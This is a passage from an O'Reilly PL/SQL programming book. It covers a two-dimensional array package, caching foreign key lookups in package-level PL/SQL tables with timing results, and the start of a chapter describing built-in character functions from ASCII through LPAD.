/* Filename on companion disk: array.spb */
PACKAGE BODY array
IS
   /*------------------------Private Variables ----------------------*/

   /* The number of rows in the array */
   number_of_rows INTEGER := NULL;

   /* The number of columns in the array */
   number_of_columns INTEGER := NULL;

   /* The generic table structure for a numeric table */
   TYPE number_array_type IS TABLE OF NUMBER
      INDEX BY BINARY_INTEGER;

   /* The actual table which will hold the array */
   number_array number_array_type;

   /* An empty table used to erase the array */
   empty_array number_array_type;

   /*------------------------Private Modules ----------------------*/

   FUNCTION row_for_cell (row_in IN INTEGER, col_in IN INTEGER)
      RETURN INTEGER
   /*
   || Returns the row in the table that stores the value for
   || the specified cell in the array.
   */
   IS
   BEGIN
      RETURN (col_in - 1) * number_of_rows + row_in;
   END;

   /*------------------------Public Modules ----------------------*/

   FUNCTION row_count RETURN INTEGER IS
   BEGIN
      RETURN number_of_rows;
   END;

   FUNCTION column_count RETURN INTEGER IS
   BEGIN
      RETURN number_of_columns;
   END;

   PROCEDURE make
      (num_rows_in IN INTEGER := 10,
       num_columns_in IN INTEGER := 1,
       initial_value_in IN NUMBER := NULL,
       conflict_action_in IN VARCHAR2 := 'OVERWRITE')
   /*
   || Create an array of the specified size, with the initial
   || value. If the table is already in use, it will be erased
   || and then re-made only if the conflict action is the
   || default value above.
   */
   IS
   BEGIN
      /*
      || If number_of_rows is NOT NULL, then the array is
      || already in use. If the conflict action is the
      || default or OVERWRITE, then erase the existing
      || array.
      */
      IF number_of_rows IS NOT NULL AND
         UPPER (conflict_action_in) = 'OVERWRITE'
      THEN
         erase;
      END IF;
      /*
      || Only continue now if my number of rows is NULL.
      || If it has a value, then table is in use and user
      || did NOT want to overwrite it.
      */
      IF number_of_rows IS NULL
      THEN
         /* Set the global variables storing size of array */
         number_of_rows := num_rows_in;
         number_of_columns := num_columns_in;
         /*
         || A PL/SQL table's row is defined only if a value
         || is assigned to that row, even if that is only a
         || NULL value. So to create the array, I will simply
         || make the needed assignments. Remember: I use a single
         || table, but segregate distinct areas of the table for each
         || column of data. I use the row_for_cell function to
         || "space out" the different cells of the array across
         || the table.
         */
         FOR col_index IN 1 .. number_of_columns
         LOOP
            FOR row_index IN 1 .. number_of_rows
            LOOP
               number_array (row_for_cell (row_index, col_index))
                  := initial_value_in;
            END LOOP;
         END LOOP;
      END IF;
   END;

   FUNCTION cell (row_in IN INTEGER, col_in IN INTEGER)
      RETURN NUMBER
   /*
   || Retrieve the value in a cell using row_for_cell.
   */
   IS
   BEGIN
      RETURN number_array (row_for_cell (row_in, col_in));
   END;

   PROCEDURE change
      (row_in IN INTEGER, col_in IN INTEGER, value_in IN NUMBER)
   /*
   || Change the value in a cell using row_for_cell.
   */
   IS
   BEGIN
      number_array (row_for_cell (row_in, col_in)) := value_in;
   END;

   PROCEDURE erase
   /*
   || Erase a table by assigning an empty table to a non-empty
   || array. Then set the size globals for the array to NULL.
   */
   IS
   BEGIN
      number_array := empty_array;
      number_of_rows := NULL;
      number_of_columns := NULL;
   END;

   PROCEDURE display
      (start_row_in IN INTEGER := 1,
       end_row_in IN INTEGER := row_count,
       start_col_in IN INTEGER := 1,
       end_col_in IN INTEGER := column_count,
       display_style_in IN VARCHAR2 := 'ARRAY')
   IS
   BEGIN
   /*
   || See code on disk. This repeats, more or less, the code shown
   || above to display a table.
   */
   END display;

END array;

10.9.5 Optimizing Foreign Key Lookups with PL/SQL Tables

Something you'll do again and again in your client-server applications is look up the name or description of a foreign key from a database table that is resident on the server. This lookup often occurs, for example, in the Post-Query trigger of Oracle Forms applications. The base table block contains a database item for the company_id and a non-database item for company_name. What if you have to process a number of different records in your employee table? The SQL processing is very inefficient. When a record is queried from the database, the Post-Query trigger executes an additional SELECT statement to obtain the name of the company, as shown in the following example:

DECLARE
   CURSOR company_cur IS
      SELECT name FROM company
       WHERE company_id = :employee.company_id;
BEGIN
   OPEN company_cur;
   FETCH company_cur INTO :employee.company_name;
   IF company_cur%NOTFOUND
   THEN
      MESSAGE
         (' Company with ID ' || TO_CHAR (:employee.company_id)
          ' not found in database.');
   END IF;
   CLOSE company_cur;
END;

This SELECT statement is executed for each record queried into the form. Even if the first twelve employees retrieved in a query all work for the same company, the trigger will open, fetch, and close the company_cur cursor a dozen times -- all to retrieve the same company name again and again. This is not desirable behavior in any application.

Is there a better way? Ideally, you'd want the company name to be already accessible in memory on the client side of the application -- "instantly" available in the form.

One way to achieve this noble objective is to read the contents of the lookup table into a local memory structure on the startup of the form. Unfortunately, this simple solution has a couple of drawbacks:

  • The data, such as the company name, might change during the user session. If you transfer all the names from an RDBMS table to memory and then another user changes the name in the database, your screen data is not updated.

  • You have to set aside sufficient memory to hold all reference values, even if only a few will ever be needed. You will also pay the CPU price necessary to transfer all of this data. This pre-load approach seems like overkill to me.

10.9.5.1 Blending database and PL/SQL table access

A reasonable middle ground between RDBMS-only data and totally local data would store values as they are queried from the database. Then, if that value is needed again in the current session, the application could use the local value instead of issuing another SELECT statement to the database. This would minimize both the memory and the CPU required by the application to return the names for foreign keys.

In this section I offer an implementation of a self-optimizing foreign key lookup process based on PL/SQL tables. I chose PL/SQL tables because I could then store the resulting function in the database and make it accessible to all of my Oracle-based applications, whether they are based on Oracle Forms, PowerBuilder, or Oracle Reports. Let's step through this implementation.

10.9.5.2 Top-down design of blended access

Suppose that I stored company names in a PL/SQL table as they are retrieved from the database and returned to the form. Then, if that same company name is needed a second (or third, or fourth) time, I get it from the memory-resident PL/SQL table rather than from the database. The following example shows the pseudocode which would implement this approach:

1  FUNCTION company_name
2     (id_in IN company.company_id%TYPE)
3  RETURN VARCHAR2
4  IS
5  BEGIN
6     get-data-from-table;
7     return-company-name;
8  EXCEPTION
9     WHEN NO_DATA_FOUND
10    THEN
11       get-data-from-database-table;
12       store-in-PL/SQL-table;
13       return-company-name;
14 END;

This function accepts a single parameter foreign key, id_in (line 2). It first attempts to retrieve the company name from the PL/SQL table (line 6). If that access fails -- if, in other words, I try to reference an undefined row in the PL/SQL table -- then PL/SQL raises the NO_DATA_FOUND exception and control is transferred to the exception section (line 9). The function then gets the name from the database table using a cursor (line 11), stores that information in the PL/SQL table (line 12), and finally returns the value (line 13).

As the user performs queries, additional company names are cached in the PL/SQL table. The next time that same company name is required, the function gets it from the PL/SQL table. In this way, database reads are kept to a minimum and the application automatically optimizes its own data access method. Figure 10.6 illustrates this process.

Figure 10.6: Blended method for lookup of foreign key descriptions

Let's see what it takes to actually write this pseudocode in PL/SQL. If I declare my PL/SQL table in a standalone function, then the scope of that PL/SQL table is restricted to the function. As soon as the function terminates, the memory associated with the PL/SQL table is lost. If, on the other hand, I declare the PL/SQL table in a package, that table remains in memory for the duration of my session (see Chapter 16 for more information about packages). I want my PL/SQL table to persist in memory for the duration of a user session, so I will use a stored package structure.

10.9.5.3 The package specification

The specification for my company package is shown in the following example. It contains a single module called name, which returns the name of the company. Does it seem silly to create a package for this single module? Not really. Beyond the technical justification I just provided, you should realize that in a production environment the company package would contain a number of other modules, such as procedures to return data about the company. And if it were the first module for the package, you are planning well for the future by starting with a package instead of a standalone module:

PACKAGE company_pkg
IS
   /*
   || Retrieve the name of the company. If you specify REUSE for
   || the access type, then it will try to get the name from
   || the PL/SQL table. Otherwise, it will just use the database
   || table and do a standard look-up.
   */
   FUNCTION name
      (id_in IN company.company_id%TYPE,
       access_type_in IN VARCHAR2 := 'REUSE')
   RETURN VARCHAR2;

END company_pkg;

In this example, the name function takes two parameters: id_in and access_type_in. The access type determines whether the function will try to reuse the name from the PL/SQL table or always get the name from the database table. By providing this parameter, developers can use the company.name function even if they do not want to make use of the PL/SQL table. This would be the case, for example, if the lookup information changes frequently and you cannot afford to use a value returned just minutes past.

What's missing from the package specification is just as interesting as what's there. Notice that the PL/SQL table which holds the names for the foreign key does not appear in the parameter lists of the name module. It isn't even declared in the specification. Instead, the PL/SQL table is declared in the body of the package -- and is completely hidden to developers who make use of this function. By hiding the PL/SQL table, I make this package usable in the Oracle Developer/2000 environment, which, as I've mentioned, is based on PL/SQL Version 1.1 and does not directly support directly PL/SQL tables.

10.9.5.4 The package body

Let's now turn our attention to the package body. In the rest of this section I'll examine the various components of the body individually, listed below:

company_table_type

PL/SQL table type declaration for the table which holds the company names.

company_table

PL/SQL table declaration. The actual declaration of the table.

name_from_database

Private function. Returns the name from the database if not yet stored in the PL/SQL table.

name

Public function. Returns the name to a user of the package. The name might come from the PL/SQL table or the database table.

The body of the company package first declares the table type and table for the company names, as shown below. The datatype for the table's single column is based on the company name column, through use of the %TYPE attribute. This way if the column's length ever changes, this function will automatically adjust:

TYPE company_table_type IS
   TABLE OF company.name%TYPE
   INDEX BY BINARY_INTEGER;
company_table company_table_type;

The private function name_from_database shown in the next example retrieves the company name from the database. The name function calls name_from_database from two different locations. This function is essentially the same code as that shown in the Post-Query trigger at the start of the section:

FUNCTION name_from_database (id_in IN company.company_id%TYPE)
   RETURN company.name%TYPE
IS
   CURSOR comp_cur IS
      SELECT name FROM company
       WHERE company_id = id_in;
   return_value company.name%TYPE := NULL;
BEGIN
   OPEN comp_cur;
   FETCH comp_cur INTO return_value;
   CLOSE comp_cur;
   RETURN return_value;
END;

Notice that I do not check for %FOUND or %NOTFOUND after I have fetched a record from the cursor. If the FETCH fails, then the value of return_value is not changed. The initial value of NULL is returned by the function, which is what I want. Remember that the name_from_database function is only callable from within the package body. Programmers cannot call this function as they would call the company.name function.

Now that you have seen all the private components of the package, let's see how I use them to build the single public module of the company package: the name function (whose full implementation is shown below). The body of the program consists of only six lines:

IF UPPER (access_type_in) = 'REUSE'
THEN
   RETURN company_table (id_in);
ELSE
   RETURN name_from_database;
END IF;

In other words, if reuse is specified then get the value from the PL/SQL table; otherwise get the name from the database. What if the name is not in the PL/SQL table? Then PL/SQL raises the NO_DATA_FOUND exception and the action moves to the exception section, which consists of the following:

EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      return_value := name_from_database;

      IF return_value IS NOT NULL
      THEN
         company_table (id_in) := return_value;
      END IF;

      RETURN return_value;
END;

I try to get the name from the database. If the function returns a non-NULL value, then I save it to the table. Finally, I return that company name. The result is simple, readable code.

In this exception handler you can see the random-access nature of the PL/SQL table. The id_in foreign key value actually serves as the row in the table. I do not have to store the values in the PL/SQL sequentially. Instead, I simply populate those rows of the table which correspond to the foreign keys.

10.9.5.5 The company.name function

The following function combines the various elements described earlier. This name function is defined within the company package:

/* Filename on companion disk: selftune.spp (contains the full code for the package containing this function) */
FUNCTION name
   (id_in IN company.company_id%TYPE,
    access_type_in IN VARCHAR2 := 'REUSE')
   RETURN company.name%TYPE
IS
   return_value company.name%TYPE;
BEGIN
   /* If REUSE (default), then try to get name from PL/SQL table */
   IF UPPER (access_type_in) = 'REUSE'
   THEN
      RETURN company_table (id_in);
   ELSE
      /* Just get the name from the database table. */
      RETURN name_from_database;
   END IF;

EXCEPTION
   /* If REUSE and PL/SQL table does not yet have value ... */
   WHEN NO_DATA_FOUND
   THEN
      /* Get the name from the database */
      return_value := name_from_database;

      /* If name was found, save to PL/SQL table for next time. */
      IF return_value IS NOT NULL
      THEN
         company_table (id_in) := return_value;
      END IF;

      /* Return the company name */
      RETURN return_value;
END;

Using the company package, the Post-Query trigger shown in an earlier example becomes simply:

:employee.company_name := company.name (:employee.company_id);
IF :employee.company_name IS NULL
THEN
   MESSAGE
      (' Company with ID ' || TO_CHAR (:employee.company_id)
       ' not found in database.');
END IF;

In this call to company.name, I did not provide a value for the second parameter, so it takes the default value of REUSE and checks to see if the company name is in the PL/SQL table. Alternatively, I could specify the access type using a GLOBAL variable as follows:

:employee.company_name :=
   company.name (:employee.company_id, :GLOBAL.access_type);

I could then modify the behavior and -- I hope -- the performance of my foreign key lookups without having to change my code. In other words, if I determine that the contents of a particular table are static throughout a session, I could set the GLOBAL to REUSE for that call. If, on the other hand, I determine that the data might change, I could change the GLOBAL to NOREUSE and then force the lookup to go against the database.

10.9.5.6 Performance impact of blended access

How much impact, you might ask, does the company.name function have on the lookup process? I tested the performance of this package with the SQL*Plus script shown in the following example.

The do package in the code below offers a substitution for the DBMS_OUTPUT package. The timer package makes use of DBMS_UTILITY and its GET_TIME function to measure elapsed time in 100ths of seconds. The do and timer packages are defined in Chapter 16.

DECLARE
   c VARCHAR2(100);
BEGIN
   timer.capture;
   FOR i IN 1 .. &num_iterations
   LOOP
      c := company.name (10, '&access_type');
   END LOOP;
   do.pl (c);
   timer.show_elapsed;
END;
/

I executed the script on a 100Mhz 486 workstation with a local Oracle7 for Windows database. The results of this comparison of database and PL/SQL table lookup performance are shown in Table 10.2.

Table 10.2: Comparison of Database and PL/SQL Table Lookup Performance
Access Type | Number of Accesses | Elapsed Time (100ths of seconds)
NOREUSE | 100 | 22-28
REUSE | 100 | 0-5
NOREUSE | 1000 | 230-240
REUSE | 1000 | 16-22

An access type of NOREUSE means that each access required a database query. An access type of REUSE means that the first request performed a database query, while all others worked with the PL/SQL table. Clearly, PL/SQL table access offers a significant performance savings -- and this is with a local database. You can expect even more of an improvement with a remote database. The benefit of this approach is obvious: it is always faster to access local memory than the Oracle database shared memory.

Previous: 10.8 PL/SQL Table Enhancements in PL/SQL Release 2.3 | Oracle PL/SQL Programming, 2nd Edition | Next: III. Built-In Functions
10.8 PL/SQL Table Enhancements in PL/SQL Release 2.3 | Book Index | III. Built-In Functions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 11] Character Functions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: III. Built-In Functions Chapter 11 Next: 11.2 Character Function Examples

11. Character Functions

Contents:
Character Function Descriptions
Character Function Examples

A character function is a function that takes one or more character values as parameters and returns either a character value or a number value. The Oracle Server and PL/SQL provide a number of different character datatypes, including CHAR, VARCHAR, VARCHAR2, LONG, RAW, and LONG RAW. In PL/SQL, the three different datatype families for character data are:

VARCHAR2

A variable-length character datatype whose data is converted by the RDBMS

CHAR

The fixed-length datatype

RAW

A variable-length datatype whose data is not converted by the RDBMS, but instead is left in "raw" form

When a character function returns a character value, that value is always of type VARCHAR2 (variable length), with the following two exceptions: UPPER and LOWER. These functions convert to upper- and lowercase, respectively, and return CHAR values (fixed length) if the strings they are called on to convert are fixed-length CHAR arguments.

PL/SQL provides a rich set of character functions that allow you to get information about strings and modify the contents of those strings in very high-level, powerful ways. Table 11.1 shows the character functions covered in detail in this chapter. The remaining functions (not covered in this chapter) are specific to National Language Support and Trusted Oracle.

Table 11.1: The Built-In Character Functions
Name | Description
ASCII | Returns the ASCII code of a character.
CHR | Returns the character associated with the specified collating code.
CONCAT | Concatenates two strings into one.
INITCAP | Sets the first letter of each word to uppercase. All other letters are set to lowercase.
INSTR | Returns the location in a string of the specified substring.
LENGTH | Returns the length of a string.
LOWER | Converts all letters to lowercase.
LPAD | Pads a string on the left with the specified characters.
LTRIM | Trims the left side of a string of all specified characters.
REPLACE | Replaces a character sequence in a string with a different set of characters.
RPAD | Pads a string on the right with the specified characters.
RTRIM | Trims the right side of a string of all specified characters.
SOUNDEX | Returns the "soundex" of a string.
SUBSTR | Returns the specified portion of a string.
TRANSLATE | Translates single characters in a string to different characters.
UPPER | Converts all letters in the string to uppercase.

11.1 Character Function Descriptions

The following sections briefly describe each of the PL/SQL character functions.

11.1.1 The ASCII function

The ASCII function returns the NUMBER code that represents the specified character in the database character set. The specification of the ASCII function is:

FUNCTION ASCII (single_character IN VARCHAR2) RETURN NUMBER

where single_character is the character to be located in the collating sequence. Even though the function is named ASCII, it will return the code location in whatever the database character set is set to, such as EBCDIC Code Page 500 or 7-bit ASCII. For example, in the 7-bit ASCII character set, ASCII (`a') returns 97. Remember that the collating code for uppercase letters is different from that for lowercase letters. ASCII (`A') returns 65 (in the 7-bit ASCII character set) because the uppercase letters come before the lowercase letters in the sequence.

If you pass more than one character in the parameter to ASCII, it returns the collating code for the first character and ignores the other characters. As a result, the following calls to ASCII all return the same value of 100:

ASCII ('defg') ==> 100
ASCII ('d') ==> 100
ASCII ('d_e_f_g') ==> 100

11.1.2 The CHR function

The CHR function is the inverse of ASCII. It returns a VARCHAR2 character (length 1) that corresponds to the location in the collating sequence provided as a parameter. The specification of the CHR function is:

FUNCTION CHR (code_location IN NUMBER) RETURN VARCHAR2

where code_location is the number specifying the location in the collating sequence.

The CHR function is especially valuable when you need to make reference to a nonprintable character in your code. For example, the location in the standard ASCII collating sequence for the newline character is ten. The CHR function therefore gives me a way to search for the linefeed control character in a string, and perform operations on a string based on the presence of that control character.

You can also insert a linefeed into a character string using the CHR function. Suppose I have to build a report that displays the address of a company. A company can have up to four address strings (in addition to city, state, and zipcode). I need to put each address string on a new line, but I don't want any blank lines embedded in the address. The following SELECT will not do the trick:

SELECT name, address1, address2, address3, address4,
       city || ', ' || state || ' ' || zipcode location
  FROM company;

Assuming each column (report field) goes on a new line, you will end up using six lines per address, no matter how many of these address strings are NULL. For example:

HAROLD HENDERSON
22 BUNKER COURT
SUITE 100

WYANDANCH, MN 66557

You can use the CHR function to suppress these internal blank lines as follows:

SELECT name ||
       DECODE (address1, NULL, NULL, CHR (10) || address1) ||
       DECODE (address2, NULL, NULL, CHR (10) || address2) ||
       DECODE (address3, NULL, NULL, CHR (10) || address3) ||
       DECODE (address4, NULL, NULL, CHR (10) || address4) ||
       CHR (10) ||
       city || ', ' || state || ' ' || zipcode
  FROM company;

Now the query returns a single formatted column per company. The DECODE statement offers IF-THEN logic within SQL and executes as follows: "If the address string is NULL then concatenate NULL; otherwise insert a linefeed character. Then concatenate the address string."

In this way, blank address lines are ignored. If I now use Wrap on the report field which holds this string, the address will be scrunched down to:

HAROLD HENDERSON
22 BUNKER COURT
SUITE 100
WYANDANCH, MN 66557

11.1.3 The CONCAT function

The CONCAT function concatenates by taking two VARCHAR2 strings and returning those strings appended together in the order specified. The specification of the CONCAT function is:

FUNCTION CONCAT (string1 IN VARCHAR2, string2 IN VARCHAR2)
                RETURN VARCHAR2

CONCAT always appends string2 to the end of string1. If either string is NULL, CONCAT returns the non-NULL argument all by its lonesome. If both strings are NULL, CONCAT returns NULL. Here are some examples of uses of CONCAT:

CONCAT ('abc', 'defg') ==> 'abcdefg'
CONCAT (NULL, 'def') ==> 'def'
CONCAT ('ab', NULL) ==> 'ab'
CONCAT (NULL, NULL) ==> NULL

I have a confession to make about CONCAT: I have never used it once in all my years of PL/SQL coding. In fact, I never even noticed it was available until I did the research for this book. How can this be? Did I never have to concatenate strings together in my programs? No, I certainly have performed many acts of concatenation in my time. Surprisingly, the answer is that PL/SQL (and the Oracle RDBMS) offers a second concatenation operator -- the double vertical bars (||). This operator is much more flexible and powerful and is easier to use than CONCAT.

11.1.4 The INITCAP function

The INITCAP function reformats the case of the string argument, setting the first letter of each word to uppercase and the remainder of the letters in that word to lowercase. A word is a set of characters separated by a space or nonalphanumeric characters (such as # or _ ). The specification of INITCAP is:

FUNCTION INITCAP (string_in IN VARCHAR2) RETURN VARCHAR2

Here are some examples of the impact of INITCAP on your strings:

  • Shift all lowercase to mixed case:

INITCAP ('this is lower') ==> 'This Is Lower'

  • Shift all uppercase to mixed case:

INITCAP ('BIG>AND^TALL') ==> 'Big>And^Tall'

  • Shift a confusing blend of cases to consistent initcap format:

INITCAP ('wHatISthis_MESS?') ==> 'Whatisthis_Mess?'

  • Create Visual Basic-style variable names (I use REPLACE, explained later, to strip out the embedded spaces).

REPLACE (INITCAP ('ALMOST_UNREADABLE_VAR_NAME'), '_', NULL)
==>
   'AlmostUnreadableVarName'

When and why would you use INITCAP? Many Oracle shops like to store all character string data in the database, such as names and addresses, in uppercase. This makes it easier to search for records that match certain criteria.

The problem with storing all the data in uppercase is that, while it is a convenient "machine format," it is not particularly readable or presentable. How easy is it to scan a page of information that looks like the following?

CUSTOMER TRACKING LIST - GENERATED ON 12-MAR-1994
LAST PAYMENT WEDNESDAY: PAUL JOHNSON, 123 MADISON AVE - $1200
LAST PAYMENT MONDAY: HARRY SIMMERSON, 555 AXELROD RD - $1500

It is hard for the eye to pick out the individual words and different types of information; all that text just blends in together. Furthermore, solid uppercase simply has a "machine" or even "mainframe" feel to it; you'd never actually type it that way. A mixture of upper- and lowercase can make your output much more readable and friendly in appearance:

Customer Tracking List - Generated On 12-Mar-1994
Last Payment Wednesday: Paul Johnson, 123 Madison Ave - $1200
Last Payment Monday: Harry Simmerson, 555 Axelrod Rd - $1500

Can you see any problems with using INITCAP to format output? There are a couple of drawbacks to the way it works. First, as you saw earlier with the string "BIG AND TALL", INITCAP is not very useful for generating titles, since it doesn't know that little words like "and" and "the" should not be capitalized. That is a relatively minor problem compared with the second: INITCAP is completely ignorant of real-world surname conventions. Names with internal capital letters, in particular, cannot be generated with INITCAP. Consider the following example:

INITCAP ('HAMBURGERS BY THE BILLIONS AT MCDONALDS')
==>
   'Hamburgers By The Billions At Mcdonalds'

Use INITCAP with caution when printing reports or displaying data, since the information it produces may not always be formatted correctly.

11.1.5 The INSTR function

The INSTR function searches a string to find a match for the substring and, if found, returns the position, in the source string, of the first character of that substring. If there is no match, then INSTR returns 0. In Oracle7, if nth_appearance is not positive (i.e., if it is 0 or negative), then INSTR always returns 1. In Oracle8, a value of 0 or a negative number for nth_appearance causes INSTR to raise the VALUE_ERROR exception.

The specification of the INSTR function is:

FUNCTION INSTR
   (string1 IN VARCHAR2,
    string2 IN VARCHAR2
   [,start_position IN NUMBER := 1
   [, nth_appearance IN NUMBER := 1]])
RETURN NUMBER

where string1 is the string searched by INSTR for the position in which the nth_appearance of string2 is found. The start_position parameter is the position in the string where the search will start. It is optional and defaults to 1 (the beginning of string1). The nth_appearance parameter is also optional and also defaults to 1.

Both the start_position and nth_appearance parameters can be literals like 5 or 157, variables, or complex expressions, as follows:

INSTR (company_name, 'INC', (last_location + 5) * 10)

If start_position is negative, then INSTR counts back start_position number of characters from the end of the string and then searches from that point towards the beginning of the string for the nth match. Figure 11.1 illustrates the two directions in which INSTR searches, depending on the sign of the start_position parameter.

Figure 11.1: Forward and reverse searches with INSTR

I have found INSTR to be a very handy function -- especially when used to the fullest extent possible. Most programmers make use of (and are even only aware of) only the first two parameters. Use INSTR to search from the end of the string? Search for the nth appearance, as opposed to just the first appearance? "Wow!" many programmers would say, "I didn't know it could do that." Take the time to get familiar with INSTR and use all of its power.

Let's look at some examples of INSTR. In these examples, you will see all four parameters used in all their permutations. As you write your own programs, keep in mind the different ways in which INSTR can be used to extract information from a string; it can greatly simplify the code you write to parse and analyze character data.

  • Find the first occurrence of archie in "bug-or-tv-character?archie":

INSTR ('bug-or-tv-character?archie', 'archie') ==> 21

    The starting position and the nth appearance both defaulted to 1.

  • Find the first occurrence of archie in the following string starting from position 14:

INSTR ('bug-or-tv-character?archie', 'ar', 14) ==> 21

    In this example I specified a starting position, which overrides the default of 1; the answer is still the same though. No matter where you start your search, the character position returned by INSTR is always calculated from the beginning of the string.

  • Find the second occurrence of archie in the following string:

INSTR ('bug-or-tv-character?archie', 'archie', 1, 2) ==> 0

    There is only one archie in the string, so INSTR returns 0. Even though the starting point is the default, I cannot leave it out if I also want to specify a nondefault nth appearance (2 in this case, for "second occurrence").

  • Find the second occurrence of "a" in "bug-or-tv-character?archie":

INSTR ('bug-or-tv-character?archie', 'a', 1, 2) ==> 15

    The second "a" in this string is the second "a" in "character," which is in the fifteenth position in the string.

  • Find the last occurrence of "ar" in "bug-or-tv-character?archie".

INSTR ('bug-or-tv-character?archie', 'ar', -1) ==> 21

    Were you thinking that the answer might be 6? Remember that the character position returned by INSTR is always calculated from the leftmost character of the string being position 1. The easiest way to find the last of anything in a string is to specify a negative number for the starting position. I did not have to specify the nth appearance (leaving me with a default value of 1), since the last occurrence is also the first when searching backwards.

  • Find the second-to-last occurrence of "a" in "bug-or-tv-character?archie":

INSTR ('bug-or-tv-character?archie', 'a', -1, 2) ==> 15

    No surprises here. Counting from the back of the string, INSTR passes over the "a" in archie, because that is the last occurrence, and searches for the next occurrence. Again, the character position is counted from the leftmost character, not the rightmost character, in the string.

  • Find the position of the letter "t" closest to (but not past) the question mark in the following string: bug-or-tv-character?archie tophat:

INSTR ('bug-or-tv-character?archie tophat', 't', -14) ==> 17

    I needed to find the "t" just before the question mark. The phrase "just before" indicates to me that I should search backwards from the question mark for the first occurrence. I therefore counted through the characters and determined that the question mark appears at the 20th position. I specified -14 as the starting position so that INSTR would search backwards right from the question mark.

    What? Did I hear you mutter that I cheated? That if I could count through the string to find the question mark, I could just as well count through the string to find the closest "t"? I knew that I couldn't slip something like that by my readers.

  • A more general solution to the previous example: It is true that I "cheated." After all, when you are writing a program you usually do not know in advance the value and location of the string through which you are searching. It is likely to be a variable of some sort. It would be impossible to "count my way" to the question mark. Instead I need to find the location of the question mark and use that as the starting position. I need, in short, to use a second, or nested, INSTR inside the original INSTR. Here is a real solution to the problem:

search_string := 'bug-or-tv-character?archie tophat';
tee_loc :=
   INSTR (search_string, 't',
          -1 * (LENGTH (search_string) - INSTR (search_string, '?') +1));

    Instead of hardcoding 20 in my call to INSTR, I dynamically calculate the location of the question mark (actually, the first question mark in the string; I assume that there is only one). Then I subtract that from the full length of the string and multiply times -1 because I need to count the number of characters from the end of the string. I then use that value to kick off the search for the closest prior "t".

    This example is a good reminder that any of the parameters to INSTR can be complex expressions that call other functions or perform their own calculations. This fact is also highlighted in the final INSTR example.

  • Use INSTR to confirm that a user entry is valid. In the code below, I check to see if the command selected by the user is found in the list of valid commands. If so, I execute that command:

IF INSTR ('|ADD|DELETE|CHANGE|VIEW|CALC|', '|' || cmd || '|') > 0
THEN
   execute_command (cmd);
ELSE
   DBMS_OUTPUT.PUT_LINE
      (' You entered an invalid command. Please try again...');
END IF;

    In this case, I use the concatenation operator to construct the string that I will search for in the command list. I have to append a vertical bar (|) to the selected command because it is used as a delimiter in the command list. I also use the call to INSTR in a Boolean expression. If INSTR finds a match in the string, it returns a nonzero value. The Boolean expression therefore evaluates to TRUE and I can go on with my processing. Otherwise, I display an error message.

    INSTR's flexibility allows you to write compact code which implements complex requirements. INSTRB is the multiple-byte character set version of INSTR. For single-byte character sets (such as American English), INSTRB returns the same values as INSTR.

11.1.6 The LENGTH function

The LENGTH function returns the length of the specified string. The specification for LENGTH follows:

FUNCTION LENGTH (string1 VARCHAR2) RETURN NUMBER

If string1 is NULL, then LENGTH returns NULL -- not zero (0)! Remember, a NULL string is a "nonvalue." Therefore, it cannot have a length, even a zero length.

The LENGTH function, in fact, will never return zero; it will always return either NULL or a positive number. Here are some examples:

LENGTH (NULL) ==> NULL
LENGTH ('') ==> NULL -- Same as a NULL string.
LENGTH ('abcd') ==> 4
LENGTH ('abcd ') ==> 5

If string1 is a fixed-length CHAR datatype, then LENGTH counts the trailing blanks in its calculation. So the LENGTH of a fixed-length string is always the declared length of the string. If you want to compute the length of the nonblank characters in string1, you will need to use the RTRIM function to remove the trailing blanks (RTRIM is discussed later in this chapter). In the following example, length1 is set to 60 and length2 is set to 14.

DECLARE
   company_name CHAR(60) := 'ACME PLUMBING';
   length1 NUMBER;
   length2 NUMBER;
BEGIN
   length1 := LENGTH (company_name);
   length2 := LENGTH (RTRIM (company_name));
END;

LENGTHB is the multiple-byte character set version of LENGTH. For single-byte character sets (such as American English), LENGTH returns the same values as INSTR.

11.1.7 The LOWER function

The LOWER function converts all letters in the specified string to lowercase. The specifications for the LOWER function are:

FUNCTION LOWER (string1 IN CHAR) RETURN CHAR
FUNCTION LOWER (string1 IN VARCHAR2) RETURN VARCHAR2

As I noted earlier, LOWER and UPPER will actually return a fixed-length string if the incoming string is fixed-length. LOWER will not change any characters in the string that are not letters, since case is irrelevant for numbers and special characters, such as the dollar sign ($).

Here are some examples of the effect of LOWER:

LOWER ('BIG FAT LETTERS') ==> 'big fat letters'
LOWER ('123ABC') ==> '123abc'

LOWER and its partner in case conversion, UPPER, are useful for guaranteeing a consistent case when comparing strings. PL/SQL is not a case-sensitive language with regard to its own syntax and names of identifiers. It is sensitive to case, however, in character strings, whether found in named constants, literals, or variables. The string "ABC" is not the same as "abc", and this can cause problems in your programs if you are not careful and consistent in your handling of such values.

11.1.8 The LPAD function

By default, PL/SQL strips all trailing blanks from a character string unless it is declared with a fixed-length CHAR datatype. There are occasions, however, when you really want some spaces (or even some other character) added to the front or back of your string. LPAD (and its right-leaning cousin, RPAD) give you this capability. The LPAD function returns a string padded to the left (hence the "L" in "LPAD") to a specified length, and with a specified pad string. The specification of the LPAD function is:

FUNCTION LPAD
   (string1 IN VARCHAR2,
    padded_length IN NUMBER
    [, pad_string IN VARCHAR2])
RETURN VARCHAR2

LPAD returns string1 padded on the left to length padded_length with the optional character string pad_string. If you do not specify pad_string, then string1 is padded on the left with spaces. You must specify the padded_length. If string1 already has a length equal to padded_length, then LPAD returns string1 without any additional characters. If padded_length is smaller than the length of string1, LPAD effectively truncates string1 -- it returns only the first padded_length characters of the incoming string1.

As you can easily see, LPAD can do a lot more than just add spaces to the left of a string. Let's look at some examples of how useful LPAD can be.

  • Display the number padded left with zeros to a length of 10:

LPAD ('55', 10, '0') ==> '0000000055'

  • Display the number padded left with zeros to a length of 5:

LPAD ('12345678', 5, '0') ==> '12345'

    LPAD interprets its padded_length as the maximum length of the string that it may return. As a result, it counts padded_length number of characters from the left (start of the string) and then simply returns that substring of the incoming value.

  • Place the phrase "sell!" in front of the names of selected stocks, up to a string length of 45:

LPAD ('HITOP TIES', 45, 'sell!')
==>
   'sell!sell!sell!sell!sell!sell!sell!HITOP TIES'

